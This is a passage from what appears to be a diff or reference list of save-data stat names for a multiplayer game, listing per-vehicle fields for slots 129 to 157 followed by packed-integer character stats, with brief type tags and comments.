Vehicle_129 premium paid by destroyer of vehicle +(int)MPSV_MODEL_129 // Add MP0_ or MP1_ // Vehicle_129 model enum of vehicle +(int)MPSV_FLAGS_129 // Add MP0_ or MP1_ // Vehicle_129 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_129 // Add MP0_ or MP1_ // Vehicle_129 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_129 // Add MP0_ or MP1_ // Vehicle_129 time vehicle was obtained + +(u64)MPSV_LP0_129 // Add MP0_ or MP1_ // Vehicle_129 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_130 // Add MP0_ or MP1_ // Vehicle_130 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_130 // Add MP0_ or MP1_ // Vehicle_130 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_130 // Add MP0_ or MP1_ // Vehicle_130 premium paid by destroyer of vehicle +(int)MPSV_MODEL_130 // Add MP0_ or MP1_ // Vehicle_130 model enum of vehicle +(int)MPSV_FLAGS_130 // Add MP0_ or MP1_ // Vehicle_130 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_130 // Add MP0_ or MP1_ // Vehicle_130 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_130 // Add MP0_ or MP1_ // Vehicle_130 time vehicle was obtained + +(u64)MPSV_LP0_130 // Add MP0_ or MP1_ // Vehicle_130 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_131 // Add MP0_ or MP1_ // Vehicle_131 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_131 // Add MP0_ or MP1_ // Vehicle_131 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_131 // Add MP0_ or MP1_ // Vehicle_131 premium paid by destroyer of vehicle +(int)MPSV_MODEL_131 // Add MP0_ or MP1_ // Vehicle_131 model enum of vehicle +(int)MPSV_FLAGS_131 // Add MP0_ or MP1_ // Vehicle_131 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_131 // Add MP0_ or MP1_ // Vehicle_131 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_131 // Add MP0_ or MP1_ // Vehicle_131 time vehicle was obtained + +(u64)MPSV_LP0_131 // Add MP0_ or MP1_ // Vehicle_131 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_132 // Add MP0_ or MP1_ // Vehicle_132 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_132 // Add MP0_ or MP1_ // Vehicle_132 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_132 // Add MP0_ or MP1_ // Vehicle_132 premium paid by destroyer of vehicle +(int)MPSV_MODEL_132 // Add MP0_ or MP1_ // Vehicle_132 model enum of vehicle +(int)MPSV_FLAGS_132 // Add MP0_ or MP1_ // Vehicle_132 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_132 // Add MP0_ or MP1_ // Vehicle_132 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_132 // Add MP0_ or MP1_ // Vehicle_132 time vehicle was obtained + +(u64)MPSV_LP0_132 // Add MP0_ or MP1_ // Vehicle_132 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_133 // Add MP0_ or MP1_ // Vehicle_133 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_133 // Add MP0_ or MP1_ // Vehicle_133 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_133 // Add MP0_ or MP1_ // Vehicle_133 premium paid by destroyer of vehicle +(int)MPSV_MODEL_133 // Add MP0_ or MP1_ // Vehicle_133 model enum of vehicle +(int)MPSV_FLAGS_133 // Add MP0_ or MP1_ // Vehicle_133 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_133 // Add MP0_ or MP1_ // Vehicle_133 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_133 // Add MP0_ or MP1_ // Vehicle_133 time vehicle was obtained + +(u64)MPSV_LP0_133 // Add MP0_ or MP1_ // Vehicle_133 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_134 // Add MP0_ or MP1_ // Vehicle_134 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_134 // Add MP0_ or MP1_ // Vehicle_134 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_134 // Add MP0_ or MP1_ // Vehicle_134 premium paid by destroyer of vehicle +(int)MPSV_MODEL_134 // Add MP0_ or MP1_ // Vehicle_134 model enum of vehicle +(int)MPSV_FLAGS_134 // Add MP0_ or MP1_ // Vehicle_134 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_134 // Add MP0_ or MP1_ // Vehicle_134 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_134 // Add MP0_ or MP1_ // Vehicle_134 time vehicle was obtained + +(u64)MPSV_LP0_134 // Add MP0_ or MP1_ // Vehicle_134 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_135 // Add MP0_ or MP1_ // Vehicle_135 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_135 // Add MP0_ or MP1_ // Vehicle_135 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_135 // Add MP0_ or MP1_ // Vehicle_135 premium paid by destroyer of vehicle +(int)MPSV_MODEL_135 // Add MP0_ or MP1_ // Vehicle_135 model enum of vehicle +(int)MPSV_FLAGS_135 // Add MP0_ or MP1_ // Vehicle_135 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_135 // Add MP0_ or MP1_ // Vehicle_135 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_135 // Add MP0_ or MP1_ // Vehicle_135 time vehicle was obtained + +(u64)MPSV_LP0_135 // Add MP0_ or MP1_ // Vehicle_135 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_136 // Add MP0_ or MP1_ // Vehicle_136 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_136 // Add MP0_ or MP1_ // Vehicle_136 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_136 // Add MP0_ or MP1_ // Vehicle_136 premium paid by destroyer of vehicle +(int)MPSV_MODEL_136 // Add MP0_ or MP1_ // Vehicle_136 model enum of vehicle +(int)MPSV_FLAGS_136 // Add MP0_ or MP1_ // Vehicle_136 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_136 // Add MP0_ or MP1_ // Vehicle_136 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_136 // Add MP0_ or MP1_ // Vehicle_136 time vehicle was obtained + +(u64)MPSV_LP0_136 // Add MP0_ or MP1_ // Vehicle_136 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_137 // Add MP0_ or MP1_ // Vehicle_137 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_137 // Add MP0_ or MP1_ // Vehicle_137 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_137 // Add MP0_ or MP1_ // Vehicle_137 premium paid by destroyer of vehicle +(int)MPSV_MODEL_137 // Add MP0_ or MP1_ // Vehicle_137 model enum of vehicle +(int)MPSV_FLAGS_137 // Add MP0_ or MP1_ // Vehicle_137 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_137 // Add MP0_ or MP1_ // Vehicle_137 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_137 // Add MP0_ or MP1_ // Vehicle_137 time vehicle was obtained + +(u64)MPSV_LP0_137 // Add MP0_ or MP1_ // Vehicle_137 licence plate part 0 + + + +(int)MPSV_VEHICLE_BS_138 // Add MP0_ or MP1_ // Vehicle_138 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_138 // Add MP0_ or MP1_ // Vehicle_138 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_138 // Add MP0_ or MP1_ // Vehicle_138 premium paid by destroyer of vehicle +(int)MPSV_MODEL_138 // Add MP0_ or MP1_ // Vehicle_138 model enum of vehicle +(int)MPSV_FLAGS_138 // Add MP0_ or MP1_ // Vehicle_138 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_138 // Add MP0_ or MP1_ // Vehicle_138 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_138 // Add MP0_ or MP1_ // Vehicle_138 time vehicle was obtained + +(u64)MPSV_LP0_138 // Add MP0_ or MP1_ // Vehicle_138 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_139 // Add MP0_ or MP1_ // Vehicle_139 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_139 // Add MP0_ or MP1_ // Vehicle_139 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_139 // Add MP0_ or MP1_ // Vehicle_139 premium paid by destroyer of vehicle +(int)MPSV_MODEL_139 // Add MP0_ or MP1_ // Vehicle_139 model enum of vehicle +(int)MPSV_FLAGS_139 // Add MP0_ or MP1_ // Vehicle_139 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_139 // Add MP0_ or MP1_ // Vehicle_139 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_139 // Add MP0_ or MP1_ // Vehicle_139 time vehicle was obtained + +(u64)MPSV_LP0_139 // Add MP0_ or MP1_ // Vehicle_139 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_140 // Add MP0_ or MP1_ // Vehicle_140 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_140 // Add MP0_ or MP1_ // Vehicle_140 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_140 // Add MP0_ or MP1_ // Vehicle_140 premium paid by destroyer of vehicle +(int)MPSV_MODEL_140 // Add MP0_ or MP1_ // Vehicle_140 model enum of vehicle +(int)MPSV_FLAGS_140 // Add MP0_ or MP1_ // Vehicle_140 bitset of vehicle flags associated with mods +(int)MPSV_OBTAINED_TIME_140 // Add MP0_ or MP1_ // Vehicle_140 time vehicle was obtained +(int)MPSV_PRICE_PAID_140 // Add MP0_ or MP1_ // Vehicle_140 cost of vehicle when purchased + +(u64)MPSV_LP0_140 // Add MP0_ or MP1_ // Vehicle_140 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_141 // Add MP0_ or MP1_ // Vehicle_141 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_141 // Add MP0_ or MP1_ // Vehicle_141 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_141 // Add MP0_ or MP1_ // Vehicle_141 premium paid by destroyer of vehicle +(int)MPSV_MODEL_141 // Add MP0_ or MP1_ // Vehicle_141 model enum of vehicle +(int)MPSV_FLAGS_141 // Add MP0_ or MP1_ // Vehicle_141 bitset of vehicle flags associated with mods +(int)MPSV_OBTAINED_TIME_141 // Add MP0_ or MP1_ // Vehicle_141 time vehicle was obtained +(int)MPSV_PRICE_PAID_141 // Add MP0_ or MP1_ // Vehicle_141 cost of vehicle when purchased + +(u64)MPSV_LP0_141 // Add MP0_ or MP1_ // Vehicle_141 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_142 // Add MP0_ or MP1_ // Vehicle_142 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_142 // Add MP0_ or MP1_ // Vehicle_142 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_142 // Add MP0_ or MP1_ // Vehicle_142 premium paid by destroyer of vehicle +(int)MPSV_MODEL_142 // Add MP0_ or MP1_ // Vehicle_142 model enum of vehicle +(int)MPSV_FLAGS_142 // Add MP0_ or MP1_ // Vehicle_142 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_142 // Add MP0_ or MP1_ // Vehicle_142 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_142 // Add MP0_ or MP1_ // Vehicle_142 time vehicle was obtained + +(u64)MPSV_LP0_142 // Add MP0_ or MP1_ // Vehicle_142 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_143 // Add MP0_ or MP1_ // Vehicle_143 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_143 // Add MP0_ or MP1_ // Vehicle_143 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_143 // Add MP0_ or MP1_ // Vehicle_143 premium paid by destroyer of vehicle +(int)MPSV_MODEL_143 // Add MP0_ or MP1_ // Vehicle_143 model enum of vehicle +(int)MPSV_FLAGS_143 // Add MP0_ or MP1_ // Vehicle_143 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_143 // Add MP0_ or MP1_ // Vehicle_143 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_143 // Add MP0_ or MP1_ // Vehicle_143 time vehicle was obtained + +(u64)MPSV_LP0_143 // Add MP0_ or MP1_ // Vehicle_143 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_144 // Add MP0_ or MP1_ // Vehicle_144 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_144 // Add MP0_ or MP1_ // Vehicle_144 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_144 // Add MP0_ or MP1_ // Vehicle_144 premium paid by destroyer of vehicle +(int)MPSV_MODEL_144 // Add MP0_ or MP1_ // Vehicle_144 model enum of vehicle +(int)MPSV_FLAGS_144 // Add MP0_ or MP1_ // Vehicle_144 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_144 // Add MP0_ or MP1_ // Vehicle_144 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_144 // Add MP0_ or MP1_ // Vehicle_144 time vehicle was obtained + +(u64)MPSV_LP0_144 // Add MP0_ or MP1_ // Vehicle_144 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_145 // Add MP0_ or MP1_ // Vehicle_145 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_145 // Add MP0_ or MP1_ // Vehicle_145 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_145 // Add MP0_ or MP1_ // Vehicle_145 premium paid by destroyer of vehicle +(int)MPSV_MODEL_145 // Add MP0_ or MP1_ // Vehicle_145 model enum of vehicle +(int)MPSV_FLAGS_145 // Add MP0_ or MP1_ // Vehicle_145 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_145 // Add MP0_ or MP1_ // Vehicle_145 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_145 // Add MP0_ or MP1_ // Vehicle_145 time vehicle was obtained + +(u64)MPSV_LP0_145 // Add MP0_ or MP1_ // Vehicle_145 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_146 // Add MP0_ or MP1_ // Vehicle_146 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_146 // Add MP0_ or MP1_ // Vehicle_146 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_146 // Add MP0_ or MP1_ // Vehicle_146 premium paid by destroyer of vehicle +(int)MPSV_MODEL_146 // Add MP0_ or MP1_ // Vehicle_146 model enum of vehicle +(int)MPSV_FLAGS_146 // Add MP0_ or MP1_ // Vehicle_146 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_146 // Add MP0_ or MP1_ // Vehicle_146 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_146 // Add MP0_ or MP1_ // Vehicle_146 time vehicle was obtained + +(u64)MPSV_LP0_146 // Add MP0_ or MP1_ // Vehicle_146 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_147 // Add MP0_ or MP1_ // Vehicle_147 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_147 // Add MP0_ or MP1_ // Vehicle_147 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_147 // Add MP0_ or MP1_ // Vehicle_147 premium paid by destroyer of vehicle +(int)MPSV_MODEL_147 // Add MP0_ or MP1_ // Vehicle_147 model enum of vehicle +(int)MPSV_FLAGS_147 // Add MP0_ or MP1_ // Vehicle_147 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_147 // Add MP0_ or MP1_ // Vehicle_147 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_147 // Add MP0_ or MP1_ // Vehicle_147 time vehicle was obtained + +(u64)MPSV_LP0_147 // Add MP0_ or MP1_ // Vehicle_147 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_148 // Add MP0_ or MP1_ // Vehicle_148 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_148 // Add MP0_ or MP1_ // Vehicle_148 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_148 // Add MP0_ or MP1_ // Vehicle_148 premium paid by destroyer of vehicle +(int)MPSV_MODEL_148 // Add MP0_ or MP1_ // Vehicle_148 model enum of vehicle +(int)MPSV_FLAGS_148 // Add MP0_ or MP1_ // Vehicle_148 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_148 // Add MP0_ or MP1_ // Vehicle_148 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_148 // Add MP0_ or MP1_ // Vehicle_148 time vehicle was obtained + +(u64)MPSV_LP0_148 // Add MP0_ or MP1_ // Vehicle_148 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_149 // Add MP0_ or MP1_ // Vehicle_149 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_149 // Add MP0_ or MP1_ // Vehicle_149 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_149 // Add MP0_ or MP1_ // Vehicle_149 premium paid by destroyer of vehicle +(int)MPSV_MODEL_149 // Add MP0_ or MP1_ // Vehicle_149 model enum of vehicle +(int)MPSV_FLAGS_149 // Add MP0_ or MP1_ // Vehicle_149 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_149 // Add MP0_ or MP1_ // Vehicle_149 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_149 // Add MP0_ or MP1_ // Vehicle_149 time vehicle was obtained + +(u64)MPSV_LP0_149 // Add MP0_ or MP1_ // Vehicle_149 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_150 // Add MP0_ or MP1_ // Vehicle_150 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_150 // Add MP0_ or MP1_ // Vehicle_150 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_150 // Add MP0_ or MP1_ // Vehicle_150 premium paid by destroyer of vehicle +(int)MPSV_MODEL_150 // Add MP0_ or MP1_ // Vehicle_150 model enum of vehicle +(int)MPSV_FLAGS_150 // Add MP0_ or MP1_ // Vehicle_150 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_150 // Add MP0_ or MP1_ // Vehicle_150 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_150 // Add MP0_ or MP1_ // Vehicle_150 time vehicle was obtained + +(u64)MPSV_LP0_150 // Add MP0_ or MP1_ // Vehicle_150 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_151 // Add MP0_ or MP1_ // Vehicle_151 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_151 // Add MP0_ or MP1_ // Vehicle_151 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_151 // Add MP0_ or MP1_ // Vehicle_151 premium paid by destroyer of vehicle +(int)MPSV_MODEL_151 // Add MP0_ or MP1_ // Vehicle_151 model enum of vehicle +(int)MPSV_FLAGS_151 // Add MP0_ or MP1_ // Vehicle_151 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_151 // Add MP0_ or MP1_ // Vehicle_151 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_151 // Add MP0_ or MP1_ // Vehicle_151 time vehicle was obtained + +(u64)MPSV_LP0_151 // Add MP0_ or MP1_ // Vehicle_151 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_152 // Add MP0_ or MP1_ // Vehicle_152 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_152 // Add MP0_ or MP1_ // Vehicle_152 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_152 // Add MP0_ or MP1_ // Vehicle_152 premium paid by destroyer of vehicle +(int)MPSV_MODEL_152 // Add MP0_ or MP1_ // Vehicle_152 model enum of vehicle +(int)MPSV_FLAGS_152 // Add MP0_ or MP1_ // Vehicle_152 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_152 // Add MP0_ or MP1_ // Vehicle_152 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_152 // Add MP0_ or MP1_ // Vehicle_152 time vehicle was obtained + +(u64)MPSV_LP0_152 // Add MP0_ or MP1_ // Vehicle_152 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_153 // Add MP0_ or MP1_ // Vehicle_153 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_153 // Add MP0_ or MP1_ // Vehicle_153 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_153 // Add MP0_ or MP1_ // Vehicle_153 premium paid by destroyer of vehicle +(int)MPSV_MODEL_153 // Add MP0_ or MP1_ // Vehicle_153 model enum of vehicle +(int)MPSV_FLAGS_153 // Add MP0_ or MP1_ // Vehicle_153 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_153 // Add MP0_ or MP1_ // Vehicle_153 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_153 // Add MP0_ or MP1_ // Vehicle_153 time vehicle was obtained + +(u64)MPSV_LP0_153 // Add MP0_ or MP1_ // Vehicle_153 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_154 // Add MP0_ or MP1_ // Vehicle_154 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_154 // Add MP0_ or MP1_ // Vehicle_154 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_154 // Add MP0_ or MP1_ // Vehicle_154 premium paid by destroyer of vehicle +(int)MPSV_MODEL_154 // Add MP0_ or MP1_ // Vehicle_154 model enum of vehicle +(int)MPSV_FLAGS_154 // Add MP0_ or MP1_ // Vehicle_154 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_154 // Add MP0_ or MP1_ // Vehicle_154 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_154 // Add MP0_ or MP1_ // Vehicle_154 time vehicle was obtained + +(u64)MPSV_LP0_154 // Add MP0_ or MP1_ // Vehicle_154 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_155 // Add MP0_ or MP1_ // Vehicle_155 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_155 // Add MP0_ or MP1_ // Vehicle_155 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_155 // Add MP0_ or MP1_ // Vehicle_155 premium paid by destroyer of vehicle +(int)MPSV_MODEL_155 // Add MP0_ or MP1_ // Vehicle_155 model enum of vehicle +(int)MPSV_FLAGS_155 // Add MP0_ or MP1_ // Vehicle_155 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_155 // Add MP0_ or MP1_ // Vehicle_155 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_155 // Add MP0_ or MP1_ // Vehicle_155 time vehicle was obtained + +(u64)MPSV_LP0_155 // Add MP0_ or MP1_ // Vehicle_155 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_156 // Add MP0_ or MP1_ // Vehicle_156 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_156 // Add MP0_ or MP1_ // Vehicle_156 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_156 // Add MP0_ or MP1_ // Vehicle_156 premium paid by destroyer of vehicle +(int)MPSV_MODEL_156 // Add MP0_ or MP1_ // Vehicle_156 model enum of vehicle +(int)MPSV_FLAGS_156 // Add MP0_ or MP1_ // Vehicle_156 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_156 // Add MP0_ or MP1_ // Vehicle_156 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_156 // Add MP0_ or MP1_ // Vehicle_156 time vehicle was obtained + +(u64)MPSV_LP0_156 // Add MP0_ or MP1_ // Vehicle_156 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_157 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_157 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_157 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_157 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_157 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_157 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_157 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was obtained + +(u64)MPSV_LP0_157 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + +(packed)IMPEXPPSTAT_INT0 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT1 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT2 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT3 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT4 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT5 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT6 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT7 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT8 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT9 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT10 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT11 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT12 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT13 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT14 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT15 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT16 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT17 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT18 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT19 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT20 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT21 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT22 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT23 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT24 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT25 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT26 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT27 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT28 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT29 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT30 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT31 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT32 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT33 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT34 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT35 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT36 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT37 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT38 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT39 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT40 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT41 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT42 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT43 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes 